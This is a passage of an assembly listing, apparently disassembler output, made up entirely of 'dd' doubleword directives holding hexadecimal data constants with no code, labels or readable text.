		dd 0F4055DF0h, 1520C1Eh, 0F1488CF9h, 420364F0h,	612FA91Ch
		dd 0DF7E9625h, 0C9217008h, 0F4001C6Ah, 0C21DECC8h, 0E97BEh
		dd 8EF39B4Dh, 0FAFC1899h, 8D0D05E8h, 18ABE15Bh,	28F1A980h
		dd 62F942D7h, 7E100560h, 39BC669h, 826D6A3Bh, 8335881h
		dd 243118h, 83E94020h, 0D69C5076h, 0C7E8D00h, 0B78EED0Fh
		dd 827C072Dh, 800E65F9h, 0F008B391h, 770070DDh,	0EC83D1A5h
		dd 0BBA80EC2h, 759F884Eh, 0A4AD0021h, 35523C71h, 8EF2D400h
		dd 8DCEA608h, 83CD00B7h, 0B90598A1h, 0B858C33Ah, 5132002Fh
		dd 6713DAFFh, 373E017Eh, 0A431387Ah, 0B91230FAh, 0CC622D1Ch
		dd 68FEA6C0h, 0EC605Bh,	8BC29625h, 325039E2h, 0ACEC7A5Bh
		dd 0A8A0530Fh, 75896960h, 0F0E245C3h, 0BA9A5900h, 0B1C28201h
		dd 213B0038h, 6770EAC1h, 5C00B9BDh, 0DDE5582Eh,	185FDD0h
		dd 0AF4DDF57h, 608BADC3h, 2A00C66Dh, 2CB8105Fh,	3D317DD2h
		dd 6E80C74Eh, 0F1C1D937h, 0BC00CF42h, 95672C63h, 22829Eh
		dd 0CCBBC5C8h, 1E993C3h, 17CA3858h, 9D075FF0h, 0AB502430h
		dd 3D8B418h, 4ED6CCB7h,	0D1989DD5h, 0B600451Ch,	0B9242B07h
		dd 7123ABh, 6084A308h, 6B20259h, 26B7DA03h, 6D9FD9h, 0EA5AC118h
		dd 1DEFD6CFh, 68B708C0h, 0F82E9Bh, 28D07BFEh, 0C4C0712Bh
		dd 0C609100h, 2AA2B234h, 99889h, 246D1409h, 2996319Fh
		dd 56759200h, 0E878EEA3h, 43440739h, 91D5BDF0h,	0E906A21Ch
		dd 0F17ACD11h, 0EDDF3010h, 47F618C6h, 6EDF067Eh, 30099A80h
		dd 0E800B6EAh, 0DCA31AE7h, 300E9ED4h, 0B7F8B977h, 0D3F6DA04h
		dd 89CFDB03h, 0B0F665F3h, 162C49h, 4CB4807Bh, 756E0AD2h
		dd 4ABB80h, 792B7090h, 7ECF8DCBh, 0ACE92200h, 6EC36F0Ah
		dd 30F4F8CAh, 69609AADh, 3451F1F2h, 44FCCCB9h, 6649F860h
		dd 9E405Dh, 87516BEh, 96E0512Ch, 6AD5430Eh, 341EC74Bh
		dd 762F9340h, 21551E94h, 7823C002h, 9C4C9A73h, 1C79683Dh
		dd 56000752h, 0F61A8C7Eh, 7D7C96h, 1FD4FD3Fh, 38F17AD3h
		dd 56006274h, 8A509BEh,	0B5AF70Bh, 0C68EB24Ah, 211D9E86h
		dd 2600F1F4h, 0F64EB732h, 0D176B3h, 0D09CFA64h,	9614E15Dh
		dd 0E900CE7Fh, 0E02E5075h, 0C0BEDC6Dh, 30ABF610h, 2FA34DFh
		dd 79D5960Ch, 80A13004h, 3007D1A7h, 0E36D4478h,	3CD0EB40h
		dd 1E9E36A6h, 0F8798020h, 0C8A5C930h, 3ED68977h, 21B013E7h
		dd 7E90410h, 0EC74AC51h, 40D84DA1h, 1E22A3E8h, 920FE5h
		dd 0CAC735F8h, 130F401Bh, 2773CEh, 760968B4h, 99BA006Ah
		dd 4ACCEDC8h, 31008340h, 10CDCE72h, 696D93h, 683F0922h
		dd 0D492E4F4h, 15BA6600h, 0C5419603h, 0F9E8009Eh, 24819FDFh
		dd 0EF0030DEh, 3A64FBEh, 0C59B35h, 0CBBCD57Dh, 7056180Ah
		dd 0F0944300h, 0FF360EE1h, 0C56D0024h, 69909AA4h, 0E700D3F8h
		dd 56E95E7Dh, 82B0E4h, 46E550EDh, 81977630h, 0FB0772F0h
		dd 3FB6921Bh, 7C3C6236h, 0EE9500D5h, 0C3738F33h, 721C7922h
		dd 3640EB0Ch, 63AC9850h, 0B6B7007Fh, 0D3F3BC21h, 720FDA77h
		dd 80D99502h, 0E8EEB507h, 618E00E1h, 26E01962h,	0CA3BD306h
		dd 7CC380BFh, 0B05BCBA7h, 3C9E0323h, 10C06B9Ch,	2A575AE0h
		dd 0B764A10Ch, 0B990D7h, 0CED64F82h, 406CCF33h,	4DE3A806h
		dd 98D4AAh, 95DD3B67h, 0D27CD7B2h, 35D89D67h, 82C96D90h
		dd 940E1886h, 14EBF0C0h, 0A01C6630h, 32E3172h, 0A5D4800Ch
		dd 600AB0EFh, 2C09C242h, 0B702D504h, 249A1604h,	21594F86h
		dd 0A089760h, 70FD88AFh, 30378741h, 5068A030h, 64012CD1h
		dd 313AB199h, 3C1068B9h, 0D288800Fh, 0CAD989AEh, 40396310h
		dd 2CA85AC1h, 0BB40779Dh, 1181425Eh, 81FC55Dh, 4C112196h
		dd 856DA510h, 8444C1F7h, 0EB070406h, 51E22661h,	7164C200h
		dd 7F6A16A6h, 3342003Dh, 0BAA58038h, 5D609C9Ah,	1F618AD8h
		dd 78756072h, 0D1BC85BEh, 68735530h, 3EBFE7EDh,	9318D49Ah
		dd 78FCC823h, 8B810A00h, 0FDB88F64h, 0EBF20E20h, 93E076ADh
		dd 4118A1C0h, 0CE807200h, 0DEF716CFh, 0A3470068h, 0E5C5DF2Eh
		dd 86F8A250h
		dd 41C2070Eh, 0E0C16055h, 489CD71Fh, 52814C61h,	4365953Ah
		dd 0BF89CEECh, 0ED18894Dh, 20080057h, 602EFA6h,	6495049Fh
		dd 6700F882h, 71E574Fh,	8F4681h, 0BCA417C3h, 692ADCEEh
		dd 0D450B815h, 9FED03A4h, 0F4BBD9h, 0BD3B6458h,	7CD45309h
		dd 24CC49h, 5FBAA80h, 7B1463C8h, 0F08E008Dh, 77E6BB44h
		dd 0FF7D6D3Ah, 1E69861Eh, 5FED9180h, 44373CD1h,	5A1C606Fh
		dd 12C059CFh, 451F5BB5h, 98D0182Fh, 429220FBh, 0FDDF7400h
		dd 81A2D825h, 6D9605CCh, 3BEB9AFh, 3529E7CCh, 80491B89h
		dd 4271C810h, 5803BA6h,	0E1078DE9h, 2464C04Eh, 5F00DAC4h
		dd 0EAACF69Fh, 7FCBA397h, 12F300C7h, 0D76F31ABh, 48001005h
		dd 248AEDD9h, 0C518C6h,	29B4C18Ch, 0A738584Dh, 47461102h
		dd 0C057B09Ch, 386B05EFh, 0FD00E734h, 0F0431A1h, 5D008EA9h
		dd 0FBE36925h, 248884h,	99C0DF82h, 9ABD3754h, 91F60616h
		dd 0CCC84A18h, 0E1870042h, 0E574416h, 780F5F25h, 8E2C730Ch
		dd 750A214Fh, 37E04BF2h, 0E2E41FBEh, 0A0D74040h, 0ABE03631h
		dd 267CEB00h, 9AA0D20h,	718D0088h, 64B4D8FBh, 0B70EF929h
		dd 0C0484CE2h, 0ABECF645h, 0CE769Dh, 0DF6B8AA8h, 0A5161CB9h
		dd 1E032C78h, 1F709902h, 8963E0C9h, 82E907B5h, 9FF1E528h
		dd 0C0A0FACFh, 30D518CEh, 0BB3B8F00h, 2AF0E3B2h, 4099001Fh
		dd 62021DD9h, 75035601h, 0E4EA7278h, 6820E066h,	0F4AB03C3h
		dd 0E8AC13C4h, 4ED192Bh, 0C5E8E3C1h, 994E1081h,	0D07E97BDh
		dd 7F006710h, 0E7CB9C4Bh, 0DEE0C9h, 8D4AA5E2h, 4D5A34EDh
		dd 0B0997F3Ah, 0EF31296Bh, 0A72E8004h, 40EAE488h, 1208854h
		dd 9F26107Eh, 0A3BA1107h, 5144BC18h, 0C088684Ch, 6629CA9Dh
		dd 1390383Ch, 48077C53h, 0B59C445Ch, 44D2292Ch,	8CEBA9D0h
		dd 29410479h, 0C8802066h, 443708E3h, 108498EBh,	11024289h
		dd 0DF11C46Ah, 0CDC21B1h, 16F1157Ch, 4459D144h,	466070D9h
		dd 3C1CB729h, 7648004Dh, 0B95CC15h, 0D0FCA311h,	0E497B900h
		dd 8C823AAh, 0B3FD3CEFh, 0C366ED00h, 0F790A4CEh, 77391F00h
		dd 7EA87CD6h, 0F377F0h,	1A9C1921h, 2B6280A4h, 0B8B94100h
		dd 604E92A5h, 340400FCh, 0ED2E981Bh, 9023249h, 2A3EE72Dh
		dd 0F1F900D5h, 0B0001FE2h, 0E944B703h, 3C395DFDh, 0B48052ACh
		dd 50D1AE19h, 450117DAh, 916EE39Ah, 0EEFDE660h,	1B5520h
		dd 7D4B3B1h, 880586DDh,	0A6002892h, 0B8FB3A1Dh,	0A8F946h
		dd 937ED738h, 7137DFD6h, 0BB4D3Ch, 409F8334h, 1816ADF3h
		dd 48A1DD68h, 0E640C604h, 71C0C11h, 4F704B8Bh, 2F5F5BB8h
		dd 4B2D580h, 4A290025h,	3ADE72D2h, 0F57867E8h, 527F6200h
		dd 3C2E171Ah, 0A3451CD1h, 6FF60087h, 1474D38Dh,	83F015ECh
		dd 4FFBDF05h, 0CA00C9B2h, 0E622F96Bh, 0A7301B08h, 70C81092h
		dd 0BD1E0B7Dh, 14072635h, 3320EF8Ch, 350F66Ah, 992F6625h
		dd 93D0BBACh, 397FA3BFh, 0FB4D113h, 204C600Eh, 485EA0E1h
		dd 1F7200F1h, 31C69766h, 76039DAEh, 0EE59A498h,	0D630DF0Ah
		dd 0BCEC12h, 0E564DBC0h, 0FC3ACB3Bh, 0C94BD403h, 98D95BDDh
		dd 562ECh, 9F3E4017h, 78977EB2h, 5FA18A00h, 0D1DF7F01h
		dd 0A698D4h, 28698872h,	0A6AB2595h, 1BF7C400h, 0ACBB0126h
		dd 31EEF2h, 1D0EB3CAh, 0C4C2F419h, 0A805E41Ch, 0DD5EE600h
		dd 1AD2934h, 0D0917E13h, 0CB89B042h, 179DD5E0h,	4FC79E00h
		dd 0E9E74BECh, 98532ECEh, 22E0036Fh, 2FA9F3E2h,	0F5ECE036h
		dd 31801B00h, 9301B55Fh, 0D4D70E55h, 0D260EFE7h, 1EAAE88Ah
		dd 0EABE4D0Fh, 0D89EA073h, 0FFB2F784h, 13C12C20h, 80BC76h
		dd 835D8AEFh, 0CE0F2C7Fh, 922113FDh, 0D612AEFCh, 911DAA98h
		dd 0EA64803Dh, 0BAD7155Ah, 3B72008Ah, 0D0ADC918h, 27001F26h
		dd 0E8F60174h, 0B3E16Fh, 5BE97D95h, 2ECECAEFh, 0DBD7D400h
		dd 6A50DF4Fh, 33352494h, 8EF20BEEh, 0ADE37980h,	0FE05F61Fh
		dd 0CFB0F1A9h, 0E1393980h, 80DD0011h, 9758A346h, 841CED1Ch
		dd 9EC03E04h, 9C7ABAF3h, 8A70C5h, 9731D474h, 5069903Bh
		dd 1D563Fh, 49181780h, 0ED2BDAh, 8FB8B752h, 37E41159h
		dd 0DE554C00h, 6C1C849Ah, 2F720Bh, 0BB66209Eh, 0D12942FEh
		dd 1B00A176h, 0B84796A6h, 3DE1140Eh, 209D4A04h,	2427C291h
		dd 0FB432EEFh, 0D0BAA490h, 29007BEAh, 0F3700E4Eh, 4C9A916Ah
		dd 17008B86h, 360F52CEh, 7700D030h, 2E72ECB0h, 0C3FED5h
		dd 45D49B50h, 93AA684Eh, 0ECF96900h, 0A2E273E9h, 1CC77C9Ah
		dd 3B306DADh, 0C4262500h, 0FAB59870h, 0BEE0CF00h, 141B086Bh
		dd 3FA307DAh, 4BBA687Ch, 4C66C800h, 0F7000799h,	6B4D19F1h
		dd 733794A5h, 0A0D80048h, 1A0B04A9h, 0B000C6EDh, 275C4418h
		dd 54FD21h, 7C29FF20h, 93B71F1Dh, 55E1E300h, 0E83B1486h
		dd 8A310024h, 65A1AEA4h, 0E93BD552h, 6AFA00E0h,	0F2ADD2B3h
		dd 0EA30070h, 9317B098h, 130E7921h, 402A1ED8h, 6681B359h
		dd 0CFC6073Ah, 0FBC08208h, 0FC80C28Eh, 0CDEF5A02h, 0C700A67Bh
		dd 6242F5DAh, 3CE5C6DDh, 59803156h, 0EE2AFA66h,	0B0001D07h
		dd 6E0BD7F7h, 0B65B01h,	0BF6CACA5h, 9A2356E9h, 9ED38F00h
		dd 9F6A24D0h, 14DA007Fh, 0C95AA910h, 67006B2Eh,	3E31404Dh
		dd 1F14C53h, 0CD859AC5h, 0CC52B0CFh, 0B100BE98h, 9BFD7142h
		dd 3752AF3h, 9E728269h,	79E02CB9h, 3E005C89h, 77FADCD2h
		dd 0FAAC17Bh, 0AE861265h, 0EFDEDA3h, 0E3D7C7E0h, 0E7223B00h
		dd 2109CAA9h, 0C94C0084h, 83F1ED98h, 781EEFABh,	0C3C03227h
		dd 4FD9F295h, 139E008Fh, 16AF1D7Bh, 0C0BE6FDh, 845D0F8Ah
		dd 5EC01860h, 0D84A2Ch,	0A58B9764h, 0CDF623F3h,	109DA000h
		dd 0C634FEF5h, 963D3DA2h, 0E0A701F2h, 0AA3BDFA4h, 11D0F427h
		dd 19E3A003h, 0F8B75572h, 0D199EBh, 46BF2BB8h, 0BC57C1CFh
		dd 1232CC00h, 71870406h, 0F47D05ABh, 0BB3382FDh, 5BBB2D00h
		dd 0F5A947EBh, 32342E4h, 613285C0h, 9903D3Ah, 24002D81h
		dd 7C258F2Eh, 0E7EC646h, 7BD3A811h, 0AA500092h,	87CE2777h
		dd 0A9AB0500h, 0F57F2D7Eh, 7C2CB2F2h, 0BAFC05B9h, 820FEA53h
		dd 0C8E854DBh, 3600481Ch, 0C299F827h, 0F0F1C6h,	0F7E0DDCCh
		dd 947D5C6Eh, 61033BF4h, 0A9B0D730h, 0D384A06Fh, 381000F6h
		dd 4008202Fh, 86008078h, 0FB5ADDDBh, 0F4ECF494h, 0E3FEF8h
		dd 4BB02D6Ah, 7D7BA97h,	0C22ED301h, 5CB28076h, 0B3ACC840h
		dd 9D6304C8h, 901E7D96h, 0CE923584h, 0E23ED8F0h, 0BBD78057h
		dd 0CB8A6FCh, 0BD9F4CCCh, 88E6801h, 0F867EF47h,	0BF7FC2D2h
		dd 51163A00h, 1904CB5Ah, 3F853CC3h, 9D215C80h, 647723BEh
		dd 3E101D00h, 47C267A3h, 8B5600D4h, 4974848Ch, 91019B93h
		dd 1F9AE82Dh, 0D7E8655Ch, 8A5D0692h, 0D6780863h, 980AE978h
		dd 8DBC07AAh, 7560E100h, 36D1CCh, 9A14A702h, 8EC349A2h
		dd 950013E2h, 0C50C9770h, 52E12Ch, 15099EB8h, 0F756A941h
		dd 96BCBB00h, 0F2457205h, 0CF5D390Eh, 15299780h, 0D81FEC74h
		dd 0AF24CC28h, 5745BC03h, 0E9D138DFh, 0CDF86DF8h, 0E48983Bh
		dd 43874B4Eh, 0F2ABE0E0h, 0DB5C3176h, 0B14200AEh, 0B390AA05h
		dd 20170078h, 0FABC29EEh, 0DB00FF54h, 0F165D781h, 0F90F5BDh
		dd 224C5B07h, 0E94059AFh, 0C7272611h, 1000807Ch, 6D4355F3h
		dd 0F9B411Fh, 0E2519514h, 9CB382C0h, 71004E01h,	9E480FB7h
		dd 0E34F2EFh, 7BD9926Ah, 659FBCE0h, 72021FA0h, 0FEF04FC9h
		dd 0D18AD5B8h, 4AA8004Ch
		dd 1126BB1Dh, 7FD2521Dh, 48F6A300h, 24B33F66h, 0E0A27Eh
		dd 0A6540B97h, 0A0000647h, 2BCC3530h, 2F69F0A1h, 2D76C54Bh
		dd 2E7F8038h, 199E819h,	59971EA8h, 0CF454146h, 208626F8h
		dd 0F91739AAh, 0FBCCADh, 502EE491h, 7500F1CDh, 0B5111BE9h
		dd 0F3420Dh, 885EB118h,	26FBA50Ah, 663EE7E6h, 8C30CADBh
		dd 6DA705h, 0B121EA49h,	0D432585Ah, 52C1B500h, 0E339CA8Ch
		dd 855E0045h, 0D7860AE6h, 71006F4Fh, 381D0307h,	48CB12h
		dd 2827EEAFh, 6195159h,	73A47F00h, 920E1BCDh, 465B3FF0h
		dd 0EBAF9F00h, 0FFAD8C3Ah, 72D9323Eh, 19C82100h, 93444DE7h
		dd 3E601389h, 0BD8000E5h, 91535727h, 6D681800h,	8D1EDB09h
		dd 0D8F072h, 663836Fh, 69F6F8E4h, 94A6A817h, 29AE0600h
		dd 301924h, 8B37F7FEh, 97F37C8Ah, 8423871Eh, 524833C0h
		dd 9CC9AA0h, 8A3D7506h,	27CB1403h, 7B40C7B0h, 319F821Fh
		dd 0A70D6E40h, 5180DCh,	0D896D260h, 56A5B2AAh, 0D1342000h
		dd 0EDD570A3h, 0E7920072h, 3D95A221h, 3E28BC36h, 0BA00D8C3h
		dd 0CA948E09h, 8BF32h, 80FD84E9h, 4D5F6697h, 80D59D3Ch
		dd 0DF70D9E2h, 8DA682h,	403563CDh, 0C2C911A9h, 0CB72B8C1h
		dd 24E41230h, 660D015Dh, 0E15A9793h, 0E63ED018h, 0C8D4A000h
		dd 632974EFh, 0E1B081h,	0C9B6456Eh, 5865F23Bh, 1EDC8A00h
		dd 8077C730h, 910200D1h, 0B1873149h, 1C00129Fh,	7F30474Ch
		dd 448F8Eh, 0EC75DB35h,	760980E4h, 0C03B5F77h, 8079BBA5h
		dd 0BE0ABB3Eh, 55DB44h,	8A5F247Dh, 21326337h, 0F92DDE07h
		dd 6880A756h, 171567h, 0A62BF2FFh, 4E229E41h, 0B97D7890h
		dd 45EEDA10h, 0DBF40092h, 66D61A56h, 86420FFh, 0F68F9700h
		dd 0A71F3472h, 124615D8h, 0F04EC08Eh, 3E00529Eh, 0D4E6286h
		dd 14A6BC9Bh, 0CA580EA0h, 0E4251100h, 4FD0DD2Ch, 18945200h
		dd 20F96D40h, 0B2EF00A2h, 0A55C1947h, 8F001D44h, 4BCF3A57h
		dd 502D02EBh, 55BC10h, 0E8E43E58h, 8F9495A7h, 200F7F6h
		dd 0A9A243BAh, 99FBFD6h, 0E899C9E2h, 0EB12B000h, 9CF8E97Fh
		dd 4DE45C00h, 0F19853A4h, 7EB4987Ah, 1242002Bh,	0F63CE360h
		dd 9D3EA655h, 0E2470F3Dh, 0F8BDC01Eh, 32D93CFh,	31AF8D15h
		dd 3290839Eh, 0E30107AEh, 4425A68Eh, 4C30BDFFh,	0F83903C4h
		dd 1514017Ah, 59D196C8h, 5361CE03h, 0F9BFDE11h,	2BF06B3Fh
		dd 74EE0076h, 7021B97Eh, 2800DAAAh, 0CA6D578h, 8EB1EC4h
		dd 14C1FC66h, 0E7ECE502h, 93D280D7h, 6EF316h, 0CB01DC66h
		dd 86040295h, 8539EB0Eh, 0C0D14564h, 0E990DC0Fh, 1A4080E0h
		dd 0B9FCA6h, 693E95F3h,	434C18B0h, 0D7A9BB03h, 98F660FDh
		dd 242ECF5Ch, 0E4724Eh,	3670319Ch, 3B0067EDh, 0C9FF0B43h
		dd 30C5FC6h, 48027A29h,	82B01925h, 7E00C4FDh, 2EAF24F3h
		dd 0A7DBE6h, 21E5201Bh,	84742D0Eh, 0AF596360h, 0D2D323h
		dd 0C65210BDh, 782C3D08h, 0F97D7001h, 0A8ACEF1Eh, 44A9C4h
		dd 0C276CCD1h, 73BEAB30h, 0C5783902h, 0E04F387Eh, 0E23450h
		dd 0DAF5BAAh, 8E77B705h, 0A4418B1Dh, 7B1E58C0h,	351AC3h
		dd 167CFB4Dh, 8593FC5h,	63E8BE07h, 0D7005EA6h, 341270h
		dd 8F0E13A7h, 0F924EFE3h, 853FF100h, 0FD194194h, 116F00DAh
		dd 774B5D59h, 0AE00A83Bh, 0C31B0E9Dh, 2C112h, 0B8BB40C8h
		dd 3F2EF3ACh, 2B4E04Ch,	76F12549h, 1A2F07Ch, 7545C862h
		dd 0DD06BFB2h, 7769E844h, 1DF88500h, 19C03914h,	5AA63902h
		dd 21337A80h, 7DEFB1D2h, 7437E00h, 29DEB21Dh, 0CA0A00B3h
		dd 449A4E86h, 95F23740h, 0E8763EF8h, 9BEFFC0Fh,	688CC02Dh
		dd 0C0E2FA8Ah, 0D256BB90h, 0C3D4259h, 8F5380E3h, 39A82417h
		dd 36EA1377h, 0A89E69h,	82AA498Ch, 3B74296Fh, 405CE20Ch
		dd 81E417h, 71DDFFE3h, 0D11FA8C3h, 0BE9EDC61h, 0F5341CC2h
		dd 83C06145h, 7E3E9FD4h, 9982001Ah, 586709F4h, 0F60E9DA5h
		dd 0C143FEC4h, 0EBE0EA9Ch, 409FBDE9h, 414441A3h, 0F8E3BC45h
		dd 0EEE85042h, 0ACC74E00h, 8BA5B140h, 0E67E65Eh, 0A90724A4h
		dd 0A29945E0h, 0DE003733h, 0E159C3FFh, 7D49EE4h, 2A246002h
		dd 820F63A8h, 257196D0h, 83A55500h, 906F320h, 56FC1F0Ah
		dd 98A9C051h, 81B752D1h, 44A2E500h, 49BF25A8h, 8EB80033h
		dd 570E990Ch, 4E00DC24h, 62FBED4h, 0E05D78h, 4968FFA0h
		dd 6C23EDD9h, 942BA700h, 0D240D8B9h, 0CF510107h, 4DF9A50Fh
		dd 6A168015h, 0D792740Ah, 0C31800A7h, 58F41623h, 6D00EAEBh
		dd 1B573901h, 3C3A6Ch, 0BC28787Ch, 7DE88E1Eh, 920EADE8h
		dd 806DCB7Bh, 4A970375h, 5AF801A6h, 2D476567h, 0BA6BC0A3h
		dd 0D14E8300h, 1A4690D8h, 6CECFCh, 5BFD60B9h, 0C75738FAh
		dd 32DB211Fh, 0C5DF1980h, 0F6DD4A15h, 0BF2B277Ch, 0D5B08C00h
		dd 643FFD17h, 8A313868h, 886C9644h, 10322D16h, 4958C03Fh
		dd 1D7573F6h, 0D235296Ch, 65340081h, 0EA51616Eh, 0A59F7C00h
		dd 0C5F524E4h, 0B1F30031h, 62BC55ADh, 0EB07A964h, 50B7BF04h
		dd 0C91C4BD0h, 1F7D00BEh, 0D4A42427h, 4E004D7Fh, 0E8075922h
		dd 6019D684h, 0D9F6A8D3h, 0A1026EA3h, 5E15595h,	0EAC7634Fh
		dd 63CCE1E9h, 4413960h,	5770E0A2h, 0EADCC134h, 90BCE33Dh
		dd 3BFF1B38h, 0A4138001h, 1A93161Ch, 0F8DB15F9h, 340D9E6h
		dd 983C9050h, 9982410h,	0C4056644h, 372FF7E2h, 3FAE0D80h
		dd 58B80705h, 0BF0F2C17h, 3A649C20h, 6901B073h,	0DDB42939h
		dd 0E031A7C9h, 0F6FDCC0h, 0E0348384h, 62A158C3h, 8FE59A98h
		dd 0ACB34200h, 648B549Fh, 5393177Bh, 540FEABAh,	0ABEA8324h
		dd 26A78844h, 0DA7E030Bh, 9A92666Dh, 3D1565F8h,	81003549h
		dd 18D9A3DEh, 423CB42Ch, 6AEF8C03h, 3588B70Ch, 30F1661Bh
		dd 3350F935h, 0E4006EF2h, 0CFE80FC8h, 528611h, 0B4D57B07h
		dd 224609A0h, 0A35DC000h, 8881D18Dh, 0FF820128h, 4712542h
		dd 54EE8451h, 0C0C4D527h, 1C35480h, 0AF7D3E13h,	37BD8800h
		dd 6A3DF3FBh, 57F64500h, 0F08AE86h, 0F581318Ah,	0C09309F6h
		dd 2900A766h, 6C3CB7B1h, 1DA9504h, 574C4FCEh, 0E872AB88h
		dd 4B00B313h, 8CF5A664h, 32296AFh, 0EBC38545h, 0C6E0251Ch
		dd 0BD12FD5Dh, 1C04B878h, 8CCB573Fh, 0C2315600h, 1E220D3Dh
		dd 39FE73Ch, 18E5237Bh,	0F96588A9h, 80A44A75h, 0A8699B38h
		dd 3B513700h, 324F84F6h, 0AEDE005Eh, 4B5C9F9Ah,	563A6D1Fh
		dd 5B0F0096h, 0A9746070h, 0D9581D07h, 0C1E682A5h, 0EDC08C24h
		dd 0BEF48754h, 5806E900h, 15FC7198h, 0F14D00A8h, 5BF8F364h
		dd 0AAEEECA5h, 1F7B8B3Fh, 0B00DF86h, 85D071C3h,	0F61F18F7h
		dd 8B2B724Eh, 0C0E40A00h, 0BCEA1778h, 6DC90025h, 0B0C2DFEEh
		dd 57007F2Fh, 0FEBE7C9Ah, 0FA0195h, 0A5E8E2AFh,	0C66F6CBAh
		dd 5CA63702h, 404B67C8h, 3DD421DDh, 0B680DBE2h,	0AC69DA8Ch
		dd 3C050733h, 2161D964h, 0E8810FC0h, 0A0060048h, 2A9AF37Dh
		dd 0FE09CF94h, 775F8AEh, 46F090C8h, 7504474h, 0B8C21C1Bh
		dd 0B43B805Fh, 0E600EF82h, 6C256A12h, 195399h, 16EED470h
		dd 651F5207h, 68261473h, 68280B04h, 0DCDE5507h,	38F32439h
		dd 1942B88Fh, 8AA70069h, 0FE6CE77Ch, 9F008B17h,	0BCEC782Ah
		dd 0E6435749h, 7F6A0014h, 30ABFEBBh, 4000A4EFh,	5F263D61h
		dd 1C2B02Bh, 0CA9E06A8h, 70521899h, 0D008A67h, 0CB08DA9Ah
		dd 6DFFD9h, 30674E39h, 0C57A4B33h, 4EB56B30h, 0F4ADE83Dh
		dd 6AC0036Fh, 18843CE9h
		dd 0D966E000h, 92F03151h, 0BCC4747Ch, 0BB0E1732h, 0A7493900h
		dd 2014ADEh, 76EDA9F6h,	9B62A337h, 0D9105480h, 431E193Dh
		dd 0F887D6DCh, 0A8008B6h, 0EE0ED2h, 0D51AD9BDh,	4CA4D468h
		dd 5212649Eh, 0A38FAC40h, 978202h, 6EDF50DCh, 0B4B8A41Ah
		dd 0B9B65700h, 51DB2573h, 621C0019h, 8AD75BBAh,	9903BBA2h
		dd 0D423FE45h, 0FF068022h, 0B91B09D9h, 880351C6h, 0AEEBBA87h
		dd 3DF8CC83h, 30B8943Ah, 533E371Ch, 0BA1B9A40h,	0EA32F1EFh
		dd 6D4700C4h, 0D2DA34CBh, 80B06E8Ch, 8DFA7C00h,	80432850h
		dd 48CD0052h, 6A7092BBh, 171DEA26h, 1481600Dh, 2E216DA2h
		dd 40A431h, 503AEh, 752B7191h, 9086200Bh, 5C841F00h, 0BADE70ADh
		dd 688E9541h, 4419129h,	0BB75E409h, 0CC95F300h,	7EDD5711h
		dd 730F02A8h, 0EE85A9E6h, 371224C0h, 0A922E326h, 96B08100h
		dd 4A26C0h, 0E9118C08h,	34D2D7A1h, 842EEB00h, 1C329638h
		dd 4D760033h, 0BD3AE2BBh, 0C4A0406Fh, 3D00EB45h, 0A38B4930h
		dd 3D77AF3Fh, 0F8806EDAh, 99F941D7h, 977E20CFh,	0E4BDDC00h
		dd 0C88DB386h, 80D90179h, 0A57EB8C6h, 0DBC60DAh, 0A21A58h
		dd 0EFEE072Bh, 0BC46D4h, 0DD3FD09Fh, 9A13975Bh,	2B4A5700h
		dd 5E074F29h, 23F3006Ch, 284DE632h, 501DE199h, 0BD40EA3Bh
		dd 1A8F7564h, 6885042Ah, 82DD39A8h, 0E060A158h,	7C001D5Bh
		dd 0DA5DC225h, 3A2F3F0h, 7869803Ch, 63F9437Bh, 3D4BC8B3h
		dd 0D20BD00h, 5B9838A4h, 0F3CF0034h, 3E654502h,	767AA5E6h
		dd 5ABC8400h, 0D28DD5E0h, 217800A4h, 1C9FEF0Dh,	0A9F88F81h
		dd 265E6D03h, 91D4431Fh, 0C3F4923Bh, 84300F6Ah,	7EE054F6h
		dd 2EEDE419h, 0C9E6F22Eh, 64898E00h, 247B498Bh,	1EFC7E41h
		dd 8FDC8FD7h, 938C9D80h, 100CF8Eh, 339587FBh, 0CCE9ACh
		dd 8B349FA4h, 3C97F539h, 7DCFC300h, 0A695E4E2h,	6B59003Fh
		dd 3794AC23h, 6004346h,	0BDA2BB4Bh, 1E0107h, 6752E0E2h
		dd 0DFC1164Dh, 640092F0h, 0DEB69DC7h, 9B5B94D2h, 102A004Ch
		dd 74CD584Ah, 0AB2CB100h, 9398509Fh, 851B2419h,	0D0FD00ACh
		dd 34906B45h, 0F939BA00h, 5CFAFC0Fh, 0EE87F3Eh,	0FB48697Dh
		dd 9F776760h, 0A200312Ch, 0E18CB991h, 902A1Ch, 0D011430Fh
		dd 1B4BDB28h, 0F96BFD03h, 0E03C596Dh, 98EBF61Eh, 0D7020EAAh
		dd 1F40AAE3h, 0B7A68940h, 0B9D4B07h, 0FD502C2Dh, 2BCD871h
		dd 0FF6A85C9h, 0F45CFC20h, 2EA87E99h, 92C5A1C8h, 7BA0079Ch
		dd 30369F12h, 5673727Ch, 90BCDD00h, 5B2E2A64h, 7AFC74F7h
		dd 0B7DB003Dh, 0BE094FB8h, 0A80029B6h, 2BABA2DAh, 502E58CEh
		dd 19C47Eh, 4966D14Ah, 0DBC0EDF9h, 9D3FF600h, 0DA5122E8h
		dd 0E1261D76h, 4280C0F4h, 0EA64368Dh, 78698C30h, 0C3790Fh
		dd 231ABD0Dh, 0A403E742h, 5A2F3600h, 0A6029B63h, 56A50057h
		dd 0FE155B45h, 0EA2EFA07h, 0CC0039C4h, 17D4555Ch, 0F0740F24h
		dd 6A20D64Bh, 5D0E98ABh, 9E001073h, 0EC79E019h,	5CACC1FFh
		dd 4E079C92h, 41D7364Ch, 20E24830h, 0C500781Bh,	0B331863Ah
		dd 39E3BCEDh, 5626BFC7h, 39360184h, 6167FA10h, 0F6E103E4h
		dd 0BC29CAA8h, 5FB2DA09h, 9EC80002h, 0F79250h, 0E77EB21h
		dd 3E56781Ch, 83A2FA0Fh, 99C400FEh, 61542Dh, 72B85F97h
		dd 86A70DF0h, 0D0967E25h, 90A30048h, 0CA24B4DCh, 0E173F374h
		dd 621D8800h, 943C3841h, 26D1EE21h, 0B3F022h, 0DA09FF90h
		dd 0B100932Ah, 0B2D2C8A5h, 396AF6F5h, 0F8A3E5h,	46CB97A0h
		dd 0E6B14E0Ch, 0DB0037ECh, 6D259EF8h, 204F0Fh, 65AFC834h
		dd 0FF7160CCh, 7D3A0307h, 0D0A273ABh, 0FE2C4084h, 401D0070h
		dd 0D8FCD28Eh, 2B7B18CBh, 55006BF8h, 0C409060Fh, 9A49D0h
		dd 0C8FA7133h, 0D40C970Bh, 0C2291900h, 0B445074Ah, 787D1428h
